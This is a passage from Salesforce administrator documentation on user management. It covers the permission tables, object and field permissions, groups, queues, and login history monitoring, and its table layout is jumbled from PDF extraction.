Manage Analytic Snapshots

Set up and schedule analytic System Administrator snapshots to run (also requires the Schedule Dashboards, Run Reports, and View Setup and Configuration permissions)

Manage Articles

Create, edit, assign, publish, Create, edit, delete, assign, None archive, and translate publish, and archiveSalesforce Salesforce Knowledge articles. Knowledge articles; Edit draft articles; Submit Salesforce Knowledge articles for translation; Publish and archive translated articles; Access the Article Management tab

Manage Billing

Purchase additional licenses and features.

Add user licenses; Edit billing and credit card information; Grant Checkout access

System Administrator

Manage Auth. Providers

Create, edit, and delete authentication providers.

Create, edit, and delete System Administrator authentication providers (also requires Customize Application) Create and edit business System Administrator hours; create, edit, and delete

Manage Business Hours Holidays

Create, edit, and delete business holidays.

582

User Management

User Permissions

Permission Name

Description

Functions Controlled holidays (also requires View Setup and Configuration)

Profiles

Manage Call Centers

Create, import, edit, and delete a call center configuration.

Import, view, edit, and delete System Administrator a call center (also requires View Setup and Configuration) System Administrator

Manage Cases

Administer case settings, Set support business hours; including Email-to-Case and Edit support settings; mass transfer of cases. Set up Email-to-Case; Perform actions on multiple cases in a list view, such as mass transfer of cases Close multiple cases

Manage Categories

Define and modify solution categories settings.

Define and modify solution categories; Edit Solution Settings to enable solution browsing This permission only applies to solution categories, not data categories

System Administrator

Manage Connections

Allows a user to create and update connections and templates in Salesforce to Salesforce.

Create, update, and deactivate System Administrator Salesforce to Salesforce connections and create and update connection templates

Manage Chatter Messages

Access all users' messages sent Access all users' messages sent None in Chatter. in Chatter (also requires API Enabled or Api Only User)

Manage Content Permissions Create, edit, and delete library Create, edit, and delete library System Administrator permissions in Salesforce permissions in Salesforce CRM Content. CRM Content Manage Content Properties Create, edit, and delete custom fields in Salesforce CRM Content. Create, edit, and delete content types in Salesforce CRM Content. Create, edit, and delete custom fields in Salesforce CRM Content Create, edit, and delete content types in Salesforce CRM Content System Administrator

Manage Content Types

System Administrator

Manage Custom Report Types

Create and edit custom report Create and edit custom report System Administrator types. types (also requires View Setup and Configuration to

583

User Management

User Permissions

Permission Name

Description

Functions Controlled view the organization Setup pages where custom report types are managed; also requires Modify All Data to delete custom report types, as all reports and dashboard components using that report type are deleted as well)

Profiles

Manage Dashboards

Create, edit, and delete the user's personal dashboards.

Create, edit, and delete System Administrator dashboards (also requires Modify All Data to edit a dashboard created by another user) Create, edit, and delete data categories This permission only applies to data categories, not solution categories System Administrator

Manage Data Categories

Create, edit, and delete data categories.

Manage Data Integrations

Monitor or abort Bulk API jobs.

Monitor or abort Bulk API jobs; Grant access to Bulk API monitoring pages

System Administrator

Manage Dynamic Dashboards Create, edit, and delete dynamic dashboards. Manage Email Client Configurations Manage Entitlements Create, edit, and delete Outlook configurations for Salesforce for Outlook. Enable, create, and update entitlement management items.

Create, edit, and delete dynamic dashboards Create, edit, and delete Outlook configurations for Salesforce for Outlook. Set up and maintain entitlement management; Enable and disable entitlement management, including entitlements, service contracts, and contract line items; Create, edit, and delete entitlement templates; Create, edit, and delete milestones; Create, edit, and delete entitlement processes

System Administrator System Administrator

System Administrator

584

User Management

User Permissions

Permission Name Manage Force.com Flow

Description Create, edit, delete, and manage flows.

Functions Controlled Upload, activate, deactivate, edit, and delete flows; Open, edit, or create flows in the Cloud Flow Designer; Run flows from flow detail and list pages, or from within the Cloud Flow Designer; Run active and inactive flows

Profiles System Administrator

Manage Leads Manage Letterheads

Change the status of multiple Change Status of multiple leads in a list view. leads in a list view

System Administrator

Create, edit, and delete Create, edit, and delete System Administrator letterheads for HTML emails. letterheads for HTML emails Marketing User Manage Salesforce Mobile users and devices. Create, edit, and delete mobile System Administrator configurations for Salesforce Mobile; Manage mobile settings

Manage Mobile Configurations

Manage Package Licenses

Manage package licenses in subscriber organizations. Create partner accounts and partner users.

Grant or revoke user licenses System Administrator for an installed app in a managed package Create partner accounts and partner users; Disable partner accounts and partner users; Merge partner users (also requires Delete on contacts) System Administrator

Manage Partners

Manage Public Documents

Create, edit, and delete folders Create, edit, and delete public System Administrator for public documents. document folders Marketing User Create, edit, and delete public Create, edit, and delete public System Administrator list views. list views Create, edit, and delete public Create, edit, and delete public System Administrator reports. reports; Customize the Reports tab

Manage Public List Views Manage Public Reports

585

User Management

User Permissions

Permission Name Manage Public Templates

Description

Functions Controlled

Profiles System Administrator Marketing User

Create, edit, and delete text Create, edit, and delete text emails, mail merge templates, email and mail merge and folders for public email templates; templates. Edit public folders for email templates and store email templates in folders

Manage Published Solutions Create, edit, and delete publicly accessible solutions.

Create, edit, and delete System Administrator solutions that are accessible to Solution Manager the public on your Self-Service portal or website; Categorize solutions

Manage Quotas

In the Forecasts product first released in Winter 12, upload quota information through the API and edit quota information.

In the Forecasts product first System Administrator released in Winter 12, upload quota data through the API, edit and delete quota information. This permission is not available for Forecasts (Classic) and Customizable Forecasts.

Manage Remote Access

Manage, create, edit and delete remote access applications.

Manage, create, edit and delete remote access applications that define integrations of external applications which access Salesforce using the OAuth protocol. Create, edit, and delete libraries; Edit library membership

System Administrator

Manage Salesforce CRM Content

Create, edit, and delete libraries and library memberships.

System Administrator

Manage Salesforce Knowledge Manage Salesforce Knowledge Enable Salesforce Knowledge; System Administrator settings, and create, edit, and Create, edit, and delete article delete article types. types; Edit settings Manage Self-Service Portal Manage Self-Service portal settings and reports. Set up and maintain Self-Service settings (also requires the Customize Application permission to modify Self-Service page layouts and delete your System Administrator

586

User Management

User Permissions

Permission Name

Description

Functions Controlled organization's Self-Closed Case Status value); Run Self-Service reports

Profiles

Manage Sharing Calculation Suspend and resume sharing Suspend and resume group System Administrator Deferral calculations. membership and sharing rule calculations. Manage Synonyms Manage Territories Create, edit, and delete synonym groups. Manage territory configurations. Create, edit, and delete synonym groups Create and edit territories; Add and remove users from territories; Create and edit account assignment rules; Manually assign accounts to territories; Configure organization-wide territory management settings; Create, edit, and delete outbound messages (also requires the Customize Application and Manage Translation permissions) Manage Translation Manage translated labels in Add supported languages and System Administrator the Translation Workbench. translators, see Adding and Editing Translated Languages and Translators; Enter translated values for any supported language; Translate solution categories; Create, edit, and delete outbound messages (also requires the Customize Application and, if territories are enabled, Manage Territories permissions) Manage Users Create, edit, and deactivate Create, edit, and deactivate System Administrator users, and manage security users; settings, including profiles and Define and assign user roles; roles. System Administrator System Administrator

587

User Management

User Permissions

Permission Name

Description

Functions Controlled Define sharing model and sharing rules; View storage use; View login history; View training history; Manage and assign profiles; Assign page layouts to profiles; Set password policies; Activate or deactivate opportunity update reminders; Set login restrictions

Profiles

Mass Edits from Lists

Edit multiple records Edit two or more records System Administrator simultaneously from a list with simultaneously from a list with Standard User inline editing. inline editing Solution Manager Marketing User Contract Manager Standard Platform User Standard Platform One App User

Mass Email

Send mass emails to contacts Send bulk emails to contacts and leads. and leads

System Administrator Standard User Solution Manager Marketing User Contract Manager

Moderate Chatter

Deactivate Chatter Free users, Moderate Chatter; System Administrator assign moderator privileges to Deactivate or re-activate Chatter Moderator User Chatter Free users, and Chatter Free users; remove posts. Give, or take away, moderator privileges to Chatter Free users; Remove inappropriate posts

588

User Management

User Permissions

Permission Name Modify All Data

Description Create, edit, and delete all organization data, regardless of sharing settings.

Functions Controlled Create, edit, and delete all data; Import accounts and contacts for organization; Mass update addresses (also requires Activate Contract and Activate Order to update the addresses of contracts and orders); Mass delete data; Undelete other users data; Create and edit divisions, and transfer divisions for multiple records; Create an organization-wide email address

Profiles System Administrator

Override Forecasts

Override forecasts of direct reports.

In Customizable Forecasts, System Administrator override personal forecasts and Standard User forecasts of direct reports in Solution Manager the role hierarchy. In the Forecasts product first Marketing User released in Winter 12, Contract Manager override (adjust) the forecasts of direct reports in the forecast hierarchy. This permission is not available for Forecasts (Classic).

Password Never Expires Portal Super User

Prevent the user's password from expiring.

Prevent password from ever expiring

None None

Allows Customer Portal users View and edit cases for their to view and edit all cases for account their account. Make products and price books available in Connect Offline.

Products Show in Offline

Specify if products and price System Administrator books are available in Connect Standard User Offline Solution Manager Marketing User Read Only

589

User Management

User Permissions

Permission Name

Description

Functions Controlled

Profiles Contract Manager

Report Builder

Create, edit, and delete reports Create, edit, and delete reports System Administrator through the drag-and-drop using the report builder report builder interface. interface Unlock user accounts that are Unlock user accounts that are System Administrator locked, and reset user locked; passwords. Reset user passwords Run flows. Run a flow from a custom None button, custom link, Visualforce tab, or a flow URL System Administrator Standard User Solution Manager Marketing User Read Only Contract Manager

Reset User Passwords and Unlock Users

Run Flows

Run Reports

Run reports and dashboards. View the Reports tab; Run reports; View dashboards based on reports

Schedule Dashboards

Schedule when dashboards refresh, and send email notifications that include refreshed dashboards in HTML format. Schedule reports to run and have the results emailed to Salesforce users.

Schedule when dashboards System Administrator refresh and send email notifications to users that include refreshed dashboards in HTML format Schedule reports to run and System Administrator have the results emailed in HTML format to Salesforce users

Schedule Reports

Send Email

Send email to a single contact Send email to a single contact System Administrator or lead. or lead; Standard User Send Stay-in-Touch update Solution Manager emails; Marketing User Request a meeting Contract Manager Send outbound messages to Send outbound messages, such an external Web service API. as when you close an opportunity and need to send an outbound API message to another server to generate an order. System Administrator Standard User Solution Manager Marketing User Read Only

Send Outbound Messages

590

User Management

User Permissions

Permission Name

Description

Functions Controlled

Profiles Contract Manager Standard Platform User Standard Platform One App User

Send Stay-in-Touch Requests Send Stay-in-Touch update emails.

Send Stay-in-Touch email requests

System Administrator Standard User Solution Manager Marketing User Contract Manager

Show Custom Sidebar On All Display a custom sidebar on Pages all pages in Salesforce.

If users have custom home None page layouts that include components in the sidebar, displays their custom sidebar on all pages in Salesforce. If the Show Custom Sidebar
Components on All Pages user interface setting

is selected, the Show Custom Sidebar On All Pages permission is not available. SubmitOrders Tag Manager Submit orders for approval. Submit orders to approver for System Administrator approval

Manage the configuration of Rename, delete, or restore System Administrator private and public tags. public tags (available only when public tags are enabled) Change a case's owner. Transfer one or more cases System Administrator that are owned by another user, if you also have at least the Edit object permission and access to view the records Transfer one or more leads System Administrator that are owned by another user, if you also have at least the Edit object permission and access to view the records Transfer ownership of one or System Administrator more accounts, campaigns, cases, contacts, contracts, leads, and custom objects that are owned by another user.

Transfer Cases

Transfer Leads

Change a lead's owner.

Transfer Record

Change the owner of most records.

591

User Management

User Permissions

Permission Name

Description

Functions Controlled To transfer records owned by another user, you must also have at least the Edit object permission and access to view the records

Profiles

Upload AppExchange Packages Use Case Feed Use Team Reassignment Wizards View All Data View All Forecasts

Upload packages to Upload packages to AppExchange for distribution. AppExchange. Create and Use outbound change sets. upload change sets. Use Case Feed to manage cases. Mass reassign account team and opportunity team members.

System Administrator

View and manage cases in the None Case Feed user interface. Mass reassign account team and opportunity team members System Administrator

View all organizational data, View all data owned by other System Administrator regardless of sharing settings. users In Customizable Forecasts and the Forecasts product first released in Winter 12, view any users forecast, regardless of the forecast hierarchy. In Customizable Forecasts and System Administrator the Forecasts product first released in Winter 12, view any users forecast, regardless of the forecast hierarchy. This permission is not available for Forecasts (Classic). If you migrate to Customizable Forecasts, custom profiles that have the View All Data permission get the View All Forecasts permissions.

View Content in Portals

View Salesforce CRM Content from a portal. View the Data Categories page.

Allows Customer Portal and None Partner Portal users to view Salesforce CRM Content View the Your Name > Setup System Administrator > Customize > Data Categories page This permission only applies to data categories, not solution categories

View Data Categories

View Encrypted Data

View the value of encrypted fields in plain text.

View the value of encrypted fields in plain text

None

592

User Management

User Permissions

Permission Name

Description

Functions Controlled

Profiles

View My Team's Dashboards View dashboards owned by View dashboards owned by System Administrator people under them in the role people under them in the role hierarchy. hierarchy View Setup and Configuration View the App Setup and View the organization setup Administrative Settings pages. details on the Setup pages; Run user reports; View the setup audit trail; Check field accessibility for users System Administrator Standard User Solution Manager Marketing User Read Only Contract Manager

See Also:
Overview of User Permissions and Access Understanding User License Types

Viewing and Editing Object Permissions in Permission Sets and Profiles


Object permissions specify the type of access that users have to objects. Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To view object permissions: To edit object permissions: View Setup and Configuration Manage Users AND Customize Application

1. Click Your Name > Setup > Manage Users, then click Permission Sets or Profiles. 2. Select a permission set or profile. 3. Depending on which interface you're using, do one of the following: Permission sets or enhanced profile user interfaceIn the Find Settings... box, enter the name of the object and select it from the list. Click Edit, then scroll to the Object Permissions section. Original profile user interfaceClick Edit, then scroll to the Standard Object Permissions or Custom Object Permissions section.

4. Specify the object permissions. For more information, see Object Permissions on page 594.

593

User Management

User Permissions

5. Click Save.

Object Permissions
Available in: Enterprise, Unlimited, Developer, and Database.com Editions Standard Objects are not available in Database.com

Object permissions either respect or override sharing rules and settings. You can enable object permissions in permission sets and custom profiles. The following permissions specify the access that users have to objects. Permission Read Create Edit Delete View All Modify All Description Users can only view records of this type. Users can read and create records. Users can read and update records. Users can read, edit, and delete records. Respects or Overrides Sharing? Respects sharing Respects sharing Respects sharing Respects sharing

Users can view all records associated with this object, regardless Overrides sharing of sharing settings. Users can read, edit, delete, transfer, and approve all records Overrides sharing associated with this object, regardless of sharing settings. Note: Modify All on documents allows access to all shared and public folders, but not the ability to edit folder properties or create new folders. To edit folder properties and create new folders, users must have the Manage Public Documents permission.

Note: If your organization has deployed Salesforce Mobile, you can edit the mobile object properties to prevent mobile users from creating, editing, and deleting records in the mobile application, regardless of their standard object permissions in Salesforce.

See Also:
Permission Sets Overview User Profiles Overview View All and Modify All Permissions Overview Comparing Security Models Overview of Sharing Settings

594

User Management

User Permissions

View All and Modify All Permissions Overview


Available in: All Editions

The View All and Modify All permissions ignore sharing rules and settings, allowing administrators to quickly grant access to records associated with a given object across the organization. View All and Modify All may be preferable alternatives to the View All Data and Modify All Data permissions. Be aware of the following distinctions between the permission types. Permissions View All Modify All View All Data Modify All Data Used for Delegation of object permissions Users who Need them Delegated administrators who need to manage records for specific objects

Managing all data in an organization; for example, Administrators of an entire organization data cleansing, deduplication, mass deletion, mass transferring, and managing record approvals

View All and Modify All are not available for ideas, price books, article types, and products. View All and Modify All allow for delegation of object permissions only. To delegate user administration and custom object administration duties, define delegated administrators.

See Also:
Object Permissions

Comparing Security Models


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

Salesforce user security is an intersection of sharing, and user and object permissions. In some cases, such as in end-user record level access, it is advantageous to use sharing to provide access to records. In other cases, such as when delegating record administration tasks like transferring records, cleansing data, deduplicating records, mass deleting records, and delegating workflow approval processes, it is advantageous to override sharing and use permissions to provide access to records. The Read, Create, Edit, and Delete permissions respect sharing settings, which control access to data at the record level. The View All and Modify All permissions override sharing settings for specific objects. Additionally, the View All Data and Modify All Data permissions override sharing settings for all objects. The following table describes the differences between the security models. Permissions that Respect Sharing Target audience End-users Permissions that Override Sharing Delegated data administrators

595

User Management

User Permissions

Permissions that Respect Sharing Where managed Read, Create, Edit, and Delete object permissions; Sharing settings Record access levels Ability to transfer Private, Read-Only, Read/Write, Read/Write/Transfer/Full Access

Permissions that Override Sharing View All and Modify All

View All and Modify All

Respects sharing settings, which vary by Available on all objects with Modify All object Available on all objects with Modify All

Ability to approve records, or edit and None unlock records in an approval process Ability to report on all records

Available with a sharing rule that states: Available on all objects with View All the records owned by the public group Entire Organization are shared with a specified group, with Read-Only access Available on all objects except products, Available on most objects via object documents, solutions, ideas, notes, and permissions attachments Note: View All and Modify All are not available for ideas, price books, article types, and products. Roles, Roles and Subordinates, Roles and Profile or permission sets Internal Subordinates, Roles, Internal and Portal Subordinates, Queues, Teams, and Public Groups Not available Available on private contacts, opportunities, and notes and attachments with View All and Modify All

Object support

Group access levels determined by

Private record access

Ability to manually share records

Available to the record owner and any Available on all objects with Modify All user above the record owner in the role hierarchy Not available Available with Modify All on cases

Ability to manage all case comments

See Also:
Overview of User Permissions and Access

596

User Management

About Groups

Field Permissions
Available in: Enterprise, Unlimited, Developer, and Database.com Editions

Field permissions specify the access level for each field in an object. In permission sets and the enhanced profile user interface, the setting labels differ from those in the original profile user interface and in field-level security pages for customizing fields. Access Level Users can read and edit the field. Users can read but not edit the field. Users can't read or edit the field. Enabled Settings in Permission Sets and Enhanced Profile User Interface
Read and Edit Read

Enabled Settings in Original Profile and Field-Level Security Interfaces


Visible Visible and Read-Only

None

None

See Also:
Field-Level Security Overview

About Groups
Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions

Groups are sets of users. They can contain individual users, other groups, the users in a particular role or territory, or the users in a particular role or territory plus all of the users below that role or territory in the hierarchy. There are two types of groups: Public groupsOnly administrators can create public groups. They can be used by everyone in the organization. Personal groupsEach user can create groups for their personal use.

You can use groups in the following ways: To set up default sharing access via a sharing rule To share your records with other users To specify that you want to synchronize contacts owned by others users To add multiple users to a Salesforce CRM Content library

597

User Management

About Groups

To assign users to specific actions in Salesforce Knowledge

See Also:
Creating and Editing Groups Viewing All Users in a Group Overview of Sharing Settings Setting Your Organization-Wide Sharing Defaults

Creating and Editing Groups


Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To create or edit a public group: Manage Users

Only administrators can create and edit public groups, but anyone can create and edit a personal group. To create or edit a group: 1. Click the control that matches the type of group: For personal groups, click Your Username > Setup > My Personal Information > My Groups. For public groups, click Your Username > Setup > Manage Users > Public Groups.

2. Click New, or click Edit next to the group you want to edit. 3. Enter the following: Field
Label Group Name (public groups only)

Description The name used to refer to the group in any user interface pages. The unique name used by the API and managed packages. The name must begin with a letter and use only alphanumeric characters and underscores. The name cannot end with an underscore or have two consecutive underscores. records using your role or territory hierarchies. When selected, any records shared with users in this group are also shared with users higher in the hierarchy. Note: If Grant Access Using Hierarchies is deselected, users that are higher in the role or territory hierarchy don't receive automatic access. However, some userssuch as those with the View All and Modify All object permissions and the View

Grant Access Using Hierarchies (public Select Grant Access Using Hierarchies to allow automatic access to

groups only)

598

User Management

About Groups

All Data and Modify All Data system permissionscan still access records they don't own.
Search

From the Search drop-down list, select the type of member to add. If you don't see the member you want to add, enter keywords in the search box and click Find. Note: For account owners to see child records owned by high-volume portal users, they must be members of any portal share groups with access to the portal users' data.

Selected Members

Select members from the Available Members box, and click Add to add them to the group.

4. Click Save. Note: When you edit groups, roles, and territories, sharing rules are usually automatically reevaluated to add or remove access as needed. If these changes affect too many records at once, a message appears warning that the sharing rules won't be automatically reevaluated, and you must manually recalculate them.

See Also:
Group Member Types Recalculating Sharing Rules About Groups About Customer Portal User Management Working with Partner Users

Group Member Types


Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions The member types that are available vary depending on your Edition.

User Permissions Needed To create or edit a public group: Manage Users

When you create or edit a group, you can select the following types of members from the Search drop-down list. Depending on your organization settings, some types may not be available.

599

User Management

About Groups

Member Type Customer Portal Users Partner Users Personal Groups Portal Roles

Description All of your Customer Portal users. This is only available when a Customer Portal is enabled for your organization. All of your partner users. This is only available when a partner portal is enabled for your organization. All of your own groups. This is only available when creating other personal groups. All roles defined for your organization's partner portal or Customer Portal. This includes all users in the specified portal role, except high-volume portal users. Note: A portal role name includes the name of the account that it's associated with, except for person accounts, which include the user Alias.

Portal Roles and Subordinates

All roles defined for your organization's partner portal or Customer Portal. This includes all of the users in the specified portal role plus all of the users below that role in the portal role hierarchy, except for high-volume portal users. Note: A portal role name includes the name of the account that it's associated with, except for person accounts, which include the user Alias.

Public Groups Roles

All public groups defined by your administrator. All roles defined for your organization. Adding a role to a group includes all of the users in that role, but does not include portal roles. Adding a role and its subordinate roles includes all of the users in that role plus all of the users in roles below that role. This doesn't include portal roles or users. Adding a role and its subordinate roles includes all of the users in that role plus all of the users in roles below that role. This is only available when no portals are enabled for your organization. Adding a role and its subordinate roles includes all of the users in that role plus all of the users in roles below that role. This is only available when a partner or Customer Portal is enabled for your organization. This includes portal users.

Roles and Internal Subordinates

Roles and Subordinates

Roles, Internal and Portal Subordinates

600

User Management

About Groups

Member Type Users

Description All users in your organization. This doesn't include portal users.

See Also:
About Groups Creating and Editing Groups

Viewing Group Lists


Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To edit a public group: Manage Users

To view personal or public group lists: 1. Click the control that matches the type of group: For personal groups, click Your Name > Setup > My Personal Information > My Groups. For public groups, click Your Name > Setup > Manage Users > Public Groups.

2. Public groups only: To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit. 3. Click the name of a group in the Groups related list to display the group's detail page. To edit the group membership, click Edit. To delete the group, click Delete. To view group members, see the Group Members related list. To view group members and users who have equivalent access because they are higher in the role or territory hierarchy, click View All Users to display the All Users in Group related list. Click View Group Members to return to the Group Members related list.

601

User Management

About Groups

Viewing All Users in a Group


Available in: Professional, Enterprise, Unlimited, Developer and Database.com Editions

The All Users list shows users who belong to the selected personal or public group, queue, or role or territory sharing groupThe All Users list shows users who belong to the selected public group, queue, or role sharing group. From this page, you can view detailed user information, edit user information, and access related information. To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit. Click Edit next to a username to edit the user information. Click Login next to a username to log in as that user. This link is only available for users who have granted login access to an administrator, or in organizations where administrators can log in as any user.

See Also:
About Groups Creating and Editing Groups

Viewing Group or Queue Members Lists


Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions Territories are not available in Database.com

User Permissions Needed To view group and queue members: View Setup and Configuration

The members list page displays a list of groups, roles, territories, and users that are members of the selected group or queue. From this page, you can view detailed member information and access other related information. To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define your own custom view. Click a name to view the member details.

See Also:
About Groups Viewing All Users in a Group

602

User Management

Managing Queues

Managing Queues
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To create or change queues: Customize Application AND Manage Public List Views To create or change queues created by other users: Customize Application AND Manage Public List Views and Manage Users

To view and manage queues, click Your Name > Setup > Manage Users > Queues. To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit. To create a queue, click New. To edit a queue, click Edit next to the queue name. To delete a queue, click Del next to the queue name. To view details about a queue, including the queue's members, click the queue's name.

See Also:
Queues Overview Viewing and Editing Queues Creating Queues

603

User Management

Managing Queues

Queues Overview
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions Lead queues, case queues, and service contract queues are not available in Database.com

User Permissions Needed To create or change queues: Customize Application AND Manage Public List Views To create or change queues created by other users: Customize Application AND Manage Public List Views and Manage Users

Queues help your teams manage leads, cases, service contracts, and custom objects. Once records are placed in a queue manually or through an automatic case or lead assignment rule, records remain there until they're assigned to a user or taken by one of the queue members. Any queue member or users above them in the role hierarchy can take ownership of records in a queue. For example: Lead queues Help you manage the distribution of leads. For example, you may have a lead queue for a Western Region team and one for an Eastern Region team. You can put leads in different queues, either manually or automatically via a lead assignment rule as leads are imported, created or edited manually, or captured from the Web. Make salespeople members of one or more lead queues. Case queues Help you manage your support workload and differentiate cases based on support levels. With queues, you can ensure that cases are resolved quickly even if a specific user is on vacation. By creating queues for different support levels, such as Gold Service and Silver Service, cases are automatically prioritized. You can put cases in different queues, either manually or automatically via a case assignment rule as cases are generated from the Web or created manually. Make support agents members of case queues. Knowledge article version queues Help you manage the distribution of versions of Salesforce Knowledge articles for translation. For example, if multiple languages are used for your knowledge base, you can assign new versions of articles to a queue of users who can translate the article into a specific language. Service contract queues Help you manage the distribution of service contracts. For example, you may have a dedicated group of users who review service contracts. When a service contract is created, assign it to a queue so queue members can review the service contract.

604

User Management

Managing Queues

Custom object queues Help you manage the distribution of custom object records. When a custom object record is created, manually assign it to a queue so that the users assigned to the queue can access it and take ownership of it.

See Also:
Creating Queues Viewing and Editing Queues Managing Queues

Creating Queues
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To create or change queues: Customize Application AND Manage Public List Views To create or change queues created by other users: Customize Application AND Manage Public List Views and Manage Users

1. Click Your Name > Setup > Manage Users > Queues. 2. Click New. 3. Enter the Label and Queue Name. The Label is the queue label as it appears on the user interface. The Queue Name is a unique name used by the API and managed packages, and can only contain alphanumeric characters and underscores. 4. Choose email notification settings for the queue: To Notify You Must

One email address when new records are placed in the queue Add an email address to Queue Email. You can add an email address for an individual user or an email distribution list. All queue members individually when new records are placed Leave Queue Email blank. in the queue All queue members and the Queue Email individually when new records are placed in the queue Add an email address to Queue Email and check Send Email to Members.

605

User Management

Managing Queues

5. If your organization uses divisions, select the default division for the queue. This determines the division for a record when it's assigned to the queue via assignment rules or a manual change of ownership. Note that cases inherit the division of the contact they're related to, or they're assigned to the default global division if no contact is specified. 6. Choose the objects available to the queue. 7. Choose queue members. You can select individual users, roles, public groups, territories, connections, or partner users. Only queue members and users above them in the role hierarchy can take ownership of records in the queue, depending on your organization's sharing settings. 8. Click Save. Tips on Creating Queues When you create a queue, Salesforce automatically creates a corresponding list view. Users can access the queue list view from the Cases, Leads, Service Contracts or custom object tabs. Only queue members and users above them in the role hierarchy have access to the queue list view, depending on your sharing settings. After you have defined a queue, you can set up lead or case assignment rules to automatically reassign ownership of leads and cases to the queue. After you have defined a queue for a custom object, you can set up a workflow rule that automatically reassigns ownership of custom object records to the queue via a field update on the record owner field.

See Also:
Queues Overview Viewing and Editing Queues Managing Queues

Viewing and Editing Queues


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To create or change queues: Customize Application AND Manage Public List Views To create or change queues created by other users: Customize Application AND Manage Public List Views and Manage Users

To view or edit a queue:

606

User Management

Monitoring User Events

1. Click Your Name > Setup > Manage Users > Queues and select the queue name. 2. Click: Edit to make changes to the queue. Delete to remove the queue. You can't delete a queue if it's in an assignment rule or has records in it. View All Users to view the queue's members plus any users who have the same access as queue members because they're higher in your organization's role hierarchy. Users that gain access to data due to their position in hierarchies do so based on a setting in your organization-wide defaults. You can click View Queue Members to return to the Queue Members related list. 3. If you edited the queue, click Save.

See Also:
Queues Overview Creating Queues Managing Queues

Monitoring User Events


Available in: All Editions

User Permissions Needed To monitor logins and view training history: Manage Users

You can monitor user logins and trainings to determine who is using the application and how often and which users have taken training classes from salesforce.com. If your organization is enabled for Single Sign-On using delegated authentication and has built a Single Sign-On solution, you can view the most recent Single Sign-On login errors for your organization.

See Also:
Monitoring Login History Monitoring Training History Viewing Single Sign-On Login Errors

607

User Management

Monitoring User Events

Monitoring Login History


Available in: All Editions

User Permissions Needed To monitor logins: Manage Users

On this page, Administrators can monitor the successful and failed login attempts for their organization and enabled portals. The columns on this page provide information about each login attempt. The login history page displays the most recent 20,000 entries in the login history database. If you need to see more records, you can download the information to a CSV or GZIP file. Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions To download the information into a CSV or GZIP file: 1. Click Your Name > Setup > Manage Users > Login History. 2. Click one of the following radio buttons: Excel csv file: This downloads a CSV file of all user logins to your Salesforce organization for the past six months. This report includes logins through the API. gzipped Excel csv file: This downloads a CSV file of all user logins to your Salesforce organization for the past six months. This report includes logins through the API. The file is compressed and this is the preferred option for quickest download time.

3. Select the file contents. You can choose All Logins, IE6 Logins Only, or Web Site Logins Only. 4. Click Download Now. Note: Older versions of Microsoft Excel cannot open files with more than 65,536 rows. If you cannot open a large file in Excel, see the Microsoft Help and Support article about handling large files. You can create new list views sorted by Login Time and Login URL. For example, you could create a view of all logins between a particular time range. Like the default view, a custom view filters the most recent 20,000 rows in the login history database. To create a new view, click Create New View from the page. Fill in the following: 1. Enter View Name Enter the name to appear in the View drop-down list. 2. Specify Filter Criteria. You can filter by Login Time and Login URL. 3. Select Fields to Display The default fields are automatically selected. You can choose up to 15 different fields to display in your view. You can display only the fields that are available in your page layout. When you select a long text area field, up to 255 characters are displayed in the list view. To see the last ten successful and failed logins for a specific user, navigate to Your Name > Setup > Manage Users > Users, click on the Full Name for the user, and scroll to the Login History section.

608

User Management

Monitoring User Events

Personal Edition To view your personal login history: 1. Click Your Name > Setup > My Personal Information > Personal Information. 2. Scroll down to the Login History related list to view your last ten logins. 3. To download a CSV file of your login history for the past six months, click the Download... link. Note: For security purposes, Salesforce may require users to pass a CAPTCHA user verification test to export data from their organization. This simple text-entry test prevents malicious programs from accessing your organization's data. To pass the test, users must correctly type the two words displayed on the overlay into the overlay's text box field. Note that the words entered into the text box field must be separated by a space. Single Sign-On with SAML If your organization has set up single sign-on using identity provider certificates (written in SAML), you may see login history messages specific to single sign-on. My Domain If you are using My Domain, you can identify which users are logging in with the new login URL, and when. Click Your Name > Setup > Manage Users > Login History and look at the Username and Login URL columns.

Monitoring Training History


Available in: Group, Professional, Enterprise, Unlimited, and Database.com Editions

User Permissions Needed To view training history: Manage Users

As an administrator, it is important to know that your team is learning how to use Salesforce effectively. The Training Class History shows you all of the Salesforce training classes your users have taken. Administrators can view the Training Class History by choosing Your Name > Setup > Manage Users > Training History. After taking a live training class, users must submit the online training feedback form to have their training attendance recorded in the training history. Note: If you dont see this link under Manage Users, your organization has been migrated to a new system. You need to be a Help & Training Admin to access the training reports via My Cases in Help & Training. Contact salesforce.com if you do not have this access.

609

User Management

Understanding User License Types

Viewing Single Sign-On Login Errors


User Permissions Needed To view Single Sign-On login errors: Modify All Data

If your organization is enabled for Single Sign-On using delegated authentication and has built a Single Sign-On solution, you can view the most recent Single Sign-On login errors for your organization. 1. Click Your Name > Setup > Manage Users > Delegated Authentication Error History. 2. For the twenty-one most recent login errors, you can view the user's username, login time, and the error. Note: Contact salesforce.com to learn more about enabling Single Sign-On for your organization.

See Also:
About Single Sign-On Best Practices for Implementing Single Sign-On Administrator setup guide: Single Sign-On Implementation Guide

Understanding User License Types


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To view user license types: View Setup and Configuration

